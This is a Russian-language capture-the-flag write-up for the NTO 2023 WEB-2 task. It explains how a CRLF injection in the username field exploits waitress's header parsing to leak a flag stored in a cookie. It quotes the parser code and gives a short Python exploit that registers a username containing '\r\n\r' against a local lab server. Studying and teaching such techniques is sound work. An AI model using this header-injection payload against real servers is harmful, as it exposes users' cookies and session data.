# WEB-2 Оценка: 20 ## Описание В данном задании необходимо выполнить атаку на взаимодействие между двумя приложениями. [Файл №1](https://github.com/dered-cybersecurity/nto_2023/blob/main/1-offensive/WEB-2/3d030fce-e045-4ef4-aea4-1044dd676b4c_source.zip) ## Решение Веб-приложение представляет из себя форму регистрации и входа пользователя (рис. 1). ![](https://i.imgur.com/mxfY0ga.jpg) Рис. 1 ## Решение Участник должен придумать, каким образом можно ликнуть флаг из кук. Сразу же бросается в глаза подключение по TCP сокету. Заметив, что используется wsgi waitress, участник должен начать исследовать исходный код данного проекта. ```python3 def get_header_lines(header): """ Splits the header into lines, putting multi-line headers together. """ r = [] lines = header.split(b"\r\n") for line in lines: if not line: continue if b"\r" in line or b"\n" in line: raise ParsingError('Bare CR or LF found in header line "%s"' % tostr(line)) if line.startswith((b" ", b"\t")): if not r: # https://corte.si/posts/code/pathod/pythonservers/index.html raise ParsingError('Malformed header line "%s"' % tostr(line)) r[-1] += line else: r.append(line) return r ``` Участник может сделать CRLF-инъекцию, тем самым разделив его имя и флаг на два разных заголовка (для интерпертатора), затем, добавив в строчку с флагом `\r` или `\n` (рис. 2). ![](https://i.imgur.com/tS4RV4A.jpg) Рис. 2 Пример реализации эксплойта для решения: ```python import requests URL_BASE = "http://127.0.0.1:3000" s = requests.Session() s.post(f"{URL_BASE}/register", data={ "username": "username\r\n\r", "password": "123" }) res = s.get(URL_BASE) print(res.text) ```